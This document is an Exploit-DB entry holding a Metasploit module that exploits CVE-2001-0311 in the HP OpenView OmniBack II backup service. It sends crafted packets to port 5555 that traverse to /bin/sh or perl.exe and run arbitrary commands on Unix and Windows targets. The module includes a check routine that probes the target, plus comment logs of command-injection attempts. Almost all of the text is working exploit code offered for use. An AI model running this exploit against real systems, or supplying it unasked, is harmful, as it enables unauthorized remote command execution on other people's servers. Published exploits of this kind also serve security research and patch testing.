标题: HP OpenView OmniBack II A.03.50 - Command Execution (Metasploit) EDB-ID: 9942 CVE: 2001-0311 类型: REMOTE 平台: MULTIPLE 发布日期: 2001-02-28 漏洞利用脚本: ##
# $Id$
##

##
# This file is part of the Metasploit Framework and may be subject to 
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote

 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info, 
   'Name'           => 'HP OpenView OmniBack II Command Execution',
   'Description'    => %q{
          This module uses a vulnerability in the OpenView Omniback II
          service to execute arbitrary commands. This vulnerability was
          discovered by DiGiT and his code was used as the basis for this
          module.
   
   For Microsoft Windows targets, due to module limitations, use the
   "unix/cmd/generic" payload and set CMD to your command. You can only
   pass a small amount of characters (4) to the command line on Windows.
   },
   'Author'         => [ 'hdm', 'patrick' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision$',
   'References'     =>
    [
     ['CVE', '2001-0311'],
     ['OSVDB', '6018'],
     ['BID', '11032'],
     ['URL', 'http://www.securiteam.com/exploits/6M00O150KG.html'],
    ],
   'Platform'       => ['unix'], # win
   'Arch'           => ARCH_CMD,
   'Privileged'     => false,
   'Payload'        =>
    {
     'Space'       => 1024,
     'DisableNops' => true,
     'Compat'      =>
      {
       'PayloadType' => 'cmd',
       'RequiredCmd' => 'generic perl telnet',
      }
    },
   'Targets'        => 
    [
     [ 'Unix', { }],
     [ 'Windows', { }],
    ],
   'DisclosureDate' => 'Feb 28 2001',
   'DefaultTarget' => 0))

   register_options(
    [
     Opt::RPORT(5555)
    ], self.class)   
 end

 def check

  if (target.name =~ /Unix/)
   connect

   poof = 
     "\x00\x00\x00.2"+
     "\x00 a"+
     "\x00 0"+
     "\x00 0"+
     "\x00 0"+
     "\x00 A"+
     "\x00 28"+
     "\x00/../../../bin/sh"+
     "\x00\x00"+
     "digit "+
     "AAAA\n\x00"

   sock.put(poof)
   sock.put("echo /etc/*;\n")
   res = sock.get_once(-1, 5)
   disconnect

   if !(res and res.length > 0)
    print_status("The remote service did not reply to our request")
    return Exploit::CheckCode::Safe
   end

   if (res =~ /passwd|group|resolv/)
    print_status("The remote service is exploitable")
    return Exploit::CheckCode::Vulnerable
   end

   return Exploit::CheckCode::Safe
  end

  if (target.name =~ /Windows/)
   connect

   poof = 
     "\x00\x00\x00.2"+
     "\x00 a"+
     "\x00 0"+
     "\x00 0"+
     "\x00 0"+
     "\x00 A"+
     "\x00 28"+
     "\x00\\perl.exe"+
     "\x00\x20-e\x20system(dir)\x00\x00"+
     "digit "+
     "AAAA\n\x00"

   sock.put(poof)
   res = sock.get_once(-1, 5)
   disconnect

   print_status(res.to_s)

   if !(res and res.length > 0)
    print_status("The remote service did not reply to our request")
    return Exploit::CheckCode::Safe
   end

   if (res =~ /V.o.l.u.m.e/) #Unicode
    print_status("The remote service is exploitable")
    return Exploit::CheckCode::Vulnerable
   end

   return Exploit::CheckCode::Safe
  end
 end

 def exploit
  if (target.name =~ /Unix/)
   connect

   poof = 
     "\x00\x00\x00.2"+
     "\x00 a"+
     "\x00 0"+
     "\x00 0"+
     "\x00 0"+
     "\x00 A"+
     "\x00 28"+
     "\x00/../../../bin/sh"+
     "\x00\x00"+
     "digit "+
     "AAAA\n\x00"

   sock.put(poof)
   sock.put(payload.encoded + ";\n")
   res = sock.get_once(-1, 5)

   if !(res and res.length > 0)
    print_status("The remote service did not reply to our request")
    disconnect
    return
   end

   print(res)

   handler
   disconnect
  end

  if (target.name =~ /Windows/)

   # patrickw
   #
   # Tested during pen test against Windows 2003 server.
   # Windows Service details:
   # - Data Protector Inet
   # -> [HP OpenView Storage Data Protector] - Backup client service
   # -> "C:\Program Files\OmniBack\bin\omniinet.exe"
   # -> OmniInet service for Windows NT
   # -> File version: 6.0.0.0
   #
   # This needs to be cleaned up later. Preferably using the Windows/cmd/perl payloads.
   #
   # Notes:
   # I was unable to use directory traversal, OR (||) or AND (&&) techniques to directly run cmd.exe
   # Perhaps a difference in Windows/Unix code? Logs:
   #
   #11/11/2008 12:18:37 PM  INET.5112.1884 ["inetnt/allow_deny.c /main/dp56/dp60_fix/2":496] A.06.00 bDPWIN_00384
   #A request 28 (..\foo.exe) came from host [attacker] which is not a cell manager of this client
   #
   #11/11/2008 12:18:37 PM  INET.5112.1884 ["inetnt/ntinet.c /main/dp56/dp60_fix/2":5170] A.06.00 bDPWIN_00384
   #[RxNtIntegUtil] parameter refused: ..\foo.exe
   #
   #11/11/2008 12:21:59 PM  INET.5112.1884 ["inetnt/allow_deny.c /main/dp56/dp60_fix/2":496] A.06.00 bDPWIN_00384
   #A request 28 (x.exe || cmd /c dir > c:) came from host [attacker] which is not a cell manager of this client
   #
   #11/11/2008 12:21:59 PM  INET.5112.1884 ["inetnt/ntinet.c /main/dp56/dp60_fix/2":5170] A.06.00 bDPWIN_00384
   #[RxNtIntegUtil] parameter refused: x.exe || cmd /c dir > c:
   #
   #11/11/2008 12:22:40 PM  INET.5112.1884 ["inetnt/allow_deny.c /main/dp56/dp60_fix/2":496] A.06.00 bDPWIN_00384
   #A request 28 (perl.exe && cmd /c dir >) came from [attacker] which is not a cell manager of this client
   #
   #11/11/2008 12:22:40 PM  INET.5112.1884 ["inetnt/ntinet.c /main/dp56/dp60_fix/2":5170] A.06.00 bDPWIN_00384
   #[RxNtIntegUtil] parameter refused: perl.exe && cmd /c dir >

   connect

   poof = 
     "\x00\x00\x00.2"+
     "\x00 a"+
     "\x00 0"+
     "\x00 0"+
     "\x00 0"+
     "\x00 A"+
     "\x00 28"+
     "\x00\\perl.exe"+
     "\x00\x20-esystem(#{payload.encoded})\x00\x00"+
     "digit "+
     "AAAA\n\x00"

   sock.put(poof)
   #sock.put(payload.encoded + "\n")
   res = sock.get_once(-1, 5)

   if !(res and res.length > 0)
    print_status("The remote service did not reply to our request")
    disconnect
    return
   end

   print(res)

   handler
   disconnect
  end
 end
end URL: https://www.exploit-db.com/exploits/9942